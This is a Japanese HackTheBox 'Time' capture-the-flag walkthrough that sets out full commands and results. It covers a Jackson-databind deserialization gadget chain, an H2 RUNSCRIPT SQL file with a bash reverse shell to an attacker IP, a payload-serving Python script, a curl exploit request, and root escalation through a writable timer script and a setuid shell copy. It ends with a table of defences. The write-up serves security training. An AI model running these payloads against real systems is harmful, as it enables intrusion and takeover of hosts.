HackTheBox: Time — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)
→
22(SSH)/80(HTTP)
“Validate (beta!)” 発見
Jackson-databind使用
→
Jackson-databind使用
多態的デシリアライズ
CVE-2019-14439系
→
CVE-2019-14439系
H2 RUNSCRIPT FROM URL
rce.sql配信 → SHELLEXEC
→
rce.sql配信 → SHELLEXEC
pericels シェル取得
user.txt ✓
→
user.txt ✓
timer_backup.sh
pericles書込可能
→
pericles書込可能
systemd timer(10秒毎)
root権限で実行
→
root権限で実行
setuidコピー差替え
/bin/sh → SUID
→
/bin/sh → SUID
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.69.241
RESULT
Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80 10.129.69.241
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA) | 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA) |_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519) 80/tcp open http Apache httpd 2.4.41 (Ubuntu) |_http-title: Online JSON parser |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート80に自作の「Online JSON parser」サイトが稼働している。
JSONを扱うWebアプリはサーバーサイドでJSONライブラリ(Jackson等)を使っている可能性が高く、
既知の安全でないデシリアライズ脆弱性が刺さる典型的なパターン。
ディレクトリ列挙
BASH
gobuster dir -u http://10.129.69.241 -q \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
images (Status: 301) css (Status: 301) js (Status: 301) javascript (Status: 301) vendor (Status: 301) fonts (Status: 301)
ℹ️
静的アセット用ディレクトリのみで、API系のパスは辞書攻撃では発見できなかった。
実際のリクエスト形式はブラウザのフォーム自体を確認する必要がある(Phase2参照)。
PHASE 2
Webアプリの調査 — フォーム構造の特定
トップページのHTMLを確認
BASH
curl -s http://10.129.69.241/
RESULT (抜粋)
<span class="login100-form-title">Online JSON beautifier & validator</span>
<select class="form-control" name="mode">
<option value="1">Beautify</option>
<option value="2">Validate (beta!)</option>
</select>
<textarea class="input100" type="text" name="data" cols="50"></textarea>
<form class="login100-form validate-form" action="" method="post">
🚨
重要ポイント: フォームは
action=""(自分自身のURL、つまり
POST /)へ、通常のHTML form(form-urlencoded)で
mode と data の2フィールドを送信するだけの単純な構造。
JSON APIエンドポイント(/api/...等)は存在せず、JSON文字列は
data フィールドの値としてそのままPOSTされる。
クライアント側JSの確認(AJAX送信の有無をチェック)
BASH
curl -s http://10.129.69.241/js/main.js
RESULT
$('.validate-form').on('submit',function(){
var check = true;
for(var i=0; i<input.length; i++) {
if(validate(input[i]) == false){ ... }
}
return check; // ← AJAX処理は一切なし、通常のフォーム送信のみ
});
ℹ️
JSはクライアント側の入力バリデーション(空欄チェック等)をするだけで、AJAX通信は
行っていない。つまりフォームは素直に
POST / へ form-urlencoded で
送信される、という Phase2-1 の推測が裏付けられた。
“Validate” モードの動作確認(不正なJSON構造でエラーメッセージを誘発)
BASH
curl -s -X POST http://10.129.69.241/ \
--data-urlencode "mode=2" \
--data-urlencode 'data={"test":"hello"}'
RESULT
<pre><pre>Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object</pre></pre>
✅
致命的な情報漏洩! サーバーがJavaで書かれており、内部で
com.fasterxml.jackson.databind(Jackson-databind)ライブラリを使い、
しかも
ObjectMapper.enableDefaultTyping() 相当の設定
(As.WRAPPER_ARRAY) で多態的デシリアライズが有効に
なっていることがエラーメッセージからそのまま判明した。これは
CVE-2019-14439系統の既知のガジェットチェーンRCEが刺さる典型的な設定ミス。
PHASE 3
Jackson-databind 多態的デシリアライズ → H2 RUNSCRIPT RCE ペイロード構築
脆弱性の仕組み
NOTE
Jacksonの多態的型情報(As.WRAPPER_ARRAY)が有効な場合、クライアントは
["クラス名", {プロパティ...}] というJSON配列を送るだけで、サーバー側に
そのクラスのインスタンスを生成させ、プロパティをsetterで注入させられる。
攻撃者が指定可能なクラス名に制限(ホワイトリスト)がない実装の場合、
クラスパス上の「setter経由でJNDIルックアップやDB接続を発生させる」ような
副作用のあるクラス(=ガジェット)を悪用してSSRFやRCEに繋げられる。
本機では ch.qos.logback.core.db.DriverManagerConnectionSource
(logbackライブラリ付属、DBコネクションプール用クラス)を悪用する。
このクラスの setUrl() セッターにJDBC URL文字列を渡すと、Jacksonの
デシリアライズ完了時にgetter/setterの副作用としてそのJDBC URLへの
接続が試行される。
H2データベースのJDBC URL経由コード実行への昇格
NOTE
接続先JDBC URLとしてH2データベースエンジンの in-memory モードを指定し、 INIT=RUNSCRIPT FROM '<URL>' オプションを付与すると、H2は接続確立時に 指定URLからSQLスクリプトをダウンロードして自動実行する(H2の正規機能)。 jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://<kali_ip>:8000/rce.sql' H2のSQL構文には CREATE ALIAS ... AS $$ <Javaコード> $$; という、 任意のJavaコードをその場でコンパイルして呼び出し可能なSQL関数として 登録する機能がある。これを使い Runtime.getRuntime().exec(...) を 呼び出すだけのラッパー関数を定義し、続けてCALL文でその関数を 即座に呼び出すことでOSコマンド実行(RCE)に到達する。
BASH (rce.sql の内容)
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command)
.getInputStream()).useDelimiter("\A");
return s.hasNext() ? s.next() : "";
}$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/<kali_ip>/4444 0>&1');
rce.sql をKali側から配信するミニHTTPサーバー
PYTHON (簡易配信サーバー)
from http.server import BaseHTTPRequestHandler, HTTPServer
sql_content = b"""CREATE ALIAS SHELLEXEC AS $$ ... $$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.15.200/4444 0>&1');
"""
class SQLHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(sql_content)))
self.end_headers()
self.wfile.write(sql_content)
HTTPServer(("0.0.0.0", 8000), SQLHandler).serve_forever()
⚠️
実機検証では、このポート(8000)を別セッションの残留プロセスが既に掴んでいて
Address already in use で起動に失敗する事象が発生した。事前に
fuser -k 8000/tcp でポートを解放してから起動すること。
Jackson多態的ペイロード本体(WRAPPER_ARRAY形式)
PYTHON (ペイロード構築)
import json
kali_ip, sql_port = "10.10.15.200", 8000
payload = [
"ch.qos.logback.core.db.DriverManagerConnectionSource",
{
"url": (
"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "
f"'http://{kali_ip}:{sql_port}/rce.sql'"
)
},
]
payload_str = json.dumps(payload)
# → ["ch.qos.logback.core.db.DriverManagerConnectionSource",
# {"url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.15.200:8000/rce.sql'"}]
PHASE 4
エクスプロイト実行 & user.txt 取得
リスナーとSQL配信サーバーを起動
BASH
# ターミナル1: rce.sql 配信サーバー fuser -k 8000/tcp 2>/dev/null python3 -m http.server 8000 --bind 0.0.0.0 # (実際にはPhase3-3のカスタムハンドラを使用し / と /rce.sql 両方に応答させる) # ターミナル2: リバースシェル用リスナー fuser -k 4444/tcp 2>/dev/null nc -lnvp 4444
悪性ペイロードを Validate フォームへ送信
BASH (curlでの実行例)
PAYLOAD='["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '"'"'http://10.10.15.200:8000/rce.sql'"'"'"}]'
curl -s --max-time 5 -X POST http://10.129.69.241/ \
--data-urlencode "mode=2" \
--data-urlencode "data=$PAYLOAD"
⚠️
このリクエストは意図的にタイムアウトする(または応答が返らない)。
サーバー側の
Runtime.exec() が起動した bash -i
(対話型シェル)はコマンドとして永久に終了しないため、HTTPハンドラスレッドが
レスポンスを返せずブロックし続ける。これは失敗ではなく成功の兆候
— クライアント側は短いタイムアウト(3〜5秒)を設定し、例外を握りつぶして
次に進んでよい。
シェル接続確認
RESULT (rce.sql配信サーバー側ログ)
10.129.69.241 - - [27/Sep/2026 10:20:xx] "GET /rce.sql HTTP/1.1" 200 -
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [any] 4444 from (UNKNOWN) [10.129.69.241] 50042 bash: no job control in this shell pericles@time:/var/www/html$ whoami pericles
✅
RCE成功! H2がrce.sqlを取得・実行し、Java(Webアプリのバックエンド)
の実行ユーザーである
pericles としてリバースシェルを確立した。
SSH鍵を設置して安定シェルへ切り替え
BASH
# Kali側で鍵ペアを生成 ssh-keygen -t rsa -b 2048 -N "" -f time_pericles_id_rsa # リバースシェル内で公開鍵を authorized_keys に追記 pericles@time:/var/www/html$ mkdir -p ~/.ssh && \ echo '<公開鍵の内容>' >> ~/.ssh/authorized_keys && \ chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys # 以後はSSHで安定した対話シェルを使う ssh -i time_pericles_id_rsa pericles@10.129.69.241
user.txt 取得
BASH
ssh -i time_pericles_id_rsa pericles@10.129.69.241 "cat ~/user.txt"
RESULT
bd59417d972b9210bb3f315982ecde6a
user.txt — pericles@time
bd59417d972b9210bb3f315982ecde6a
PHASE 5
権限昇格の下調べ — 書込可能な root cron スクリプト
systemd タイマーの確認
BASH
systemctl list-timers | grep -i backup cat /etc/systemd/system/timer_backup.timer
RESULT
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sun 2026-09-27 02:09:31 UTC 3s ... 6s ago timer_backup.timer timer_backup.service
[Unit]
Description=Backup of the website
Requires=timer_backup.service
[Timer]
Unit=timer_backup.service
OnUnitInactiveSec=10s
AccuracySec=1ms
[Install]
WantedBy=timers.target
ℹ️
timer_backup.timer は約10秒間隔という非常に高頻度で
timer_backup.service(root権限で動作するsystemdサービス)を起動している。
実行されるスクリプトのパーミッション確認
BASH
ls -la /usr/bin/timer_backup.sh
RESULT
-rwxrw-rw- 1 pericles pericles 88 /usr/bin/timer_backup.sh
🚨
重大発見:
timer_backup.sh は pericles
ユーザーが所有・書込可能でありながら、systemdサービス自体は
root権限で実行される。このスクリプトの中身を書き換えれば、
次にタイマーが発火した瞬間にroot権限で任意コマンドが実行される。
PHASE 6
setuidコピーの差し込み → root.txt
timer_backup.sh を setuid シェル生成用に書き換え
BASH
echo 'cp /bin/sh /tmp/time_root_sh; chmod u+s /tmp/time_root_sh' \ > /usr/bin/timer_backup.sh
ℹ️
次にタイマーが発火すると、root権限で
/bin/sh を
/tmp/time_root_sh としてコピーし、setuidビット(u+s)を
付与するようになる。所有者はrootのままコピーされるため、これを実行すると
実効ユーザーIDがrootになる。
タイマー発火を待機(約10秒間隔なのですぐ完了)
BASH
sleep 15 ls -la /tmp/time_root_sh
RESULT
-rwsr-xr-x 1 root root 129816 /tmp/time_root_sh
✅
rws(setuidビット付き実行権限)でrootが所有するシェルが生成された。
setuidシェルでroot.txt取得
BASH
/tmp/time_root_sh -p -c 'id; cat /root/root.txt'
RESULT
uid=1000(pericles) gid=1000(pericles) euid=0(root) groups=1000(pericles) 0ca736fb7f7878cb89631a0146fd0e24
root.txt — /root/root.txt
0ca736fb7f7878cb89631a0146fd0e24
ℹ️
sh -pの-pフラグは、setuidビットで昇格した実効UIDを
シェル起動時に実UIDへ落とさない「特権保持モード」。これを付けないと
bash/shが自動的に seteuid(getuid()) してroot権限を捨ててしまう。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — pericles@time
bd59417d972b9210bb3f315982ecde6a
root.txt — /root/root.txt
0ca736fb7f7878cb89631a0146fd0e24
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2019-14439系 (Jackson-databind) | “Online JSON Beautifier & Validator” (自作Javaアプリ) | 安全でない多態的デシリアライズ | Critical | ["クラス名", {...}]形式でガジェットクラスをインスタンス化させる |
| logback DriverManagerConnectionSourceガジェット | logbackライブラリ (依存関係経由) | 任意JDBC URLへの接続(SSRF起点) | High | setUrl()セッター経由でH2の INIT=RUNSCRIPT FROM URL を発火させる |
| H2 CREATE ALIAS (任意Javaコード実行) | H2 Database Engine (in-memoryモード) | リモートコード実行(pericles) | Critical | $$ ... $$構文でJavaコードをSQL関数として登録しCALLで即時実行 |
| 世界書込可能な root cron/timerスクリプト | /usr/bin/timer_backup.sh (systemdタイマー、10秒毎) | 権限昇格(root) | High | 非rootユーザーが書込可能なスクリプトをroot権限で定期実行させている設定ミス |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + gobuster | 22(SSH)/80(自作JSONツール)を検出 |
| 2 | アプリ調査 | フォーム構造・main.js解析・エラーメッセージ誘発 | form-urlencoded POST /、Jackson-databind使用の確定 |
| 3 | ペイロード構築 | WRAPPER_ARRAY形式 + H2 RUNSCRIPT + CREATE ALIAS | rce.sqlペイロード、配信用HTTPサーバー |
| 4 | エクスプロイト | Validateフォームへ悪性JSON送信 → リバースシェル | user.txt 取得(periclesシェル) |
| 5 | 権限調査 | systemctl list-timers + ls -la | timer_backup.shの書込可能権限を確認 |
| 6 | 権限昇格 | スクリプト差替え + setuidコピー + sh -p | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
Jacksonの多態的型情報(enableDefaultTyping/@JsonTypeInfo)がクラス制限なしで有効になっている |
多態的デシリアライズは真に必要な場合のみ使用し、許可クラスのホワイトリスト(PolymorphicTypeValidator)を必ず設定する。Jacksonは最新版へ更新する。 |
| クラスパス上にRCEガジェットとして悪用可能なライブラリ(logback等)が含まれている | 依存関係を最小限に絞り、既知ガジェットチェーンを含むライブラリのバージョンを把握・追跡する。 |
| 詳細なJavaスタックトレース/例外メッセージがそのままエンドユーザーへ返却される | 本番環境では例外の詳細を隠蔽し、内部で使用しているライブラリ名やバージョンが外部に漏れないようにする。 |
| root権限で実行される定期タスクのスクリプトが非rootユーザーに書込可能 | root権限で実行されるすべてのスクリプト・バイナリはroot専用の書込権限(644/755、root所有)に制限する。定期的な権限監査を実施する。 |

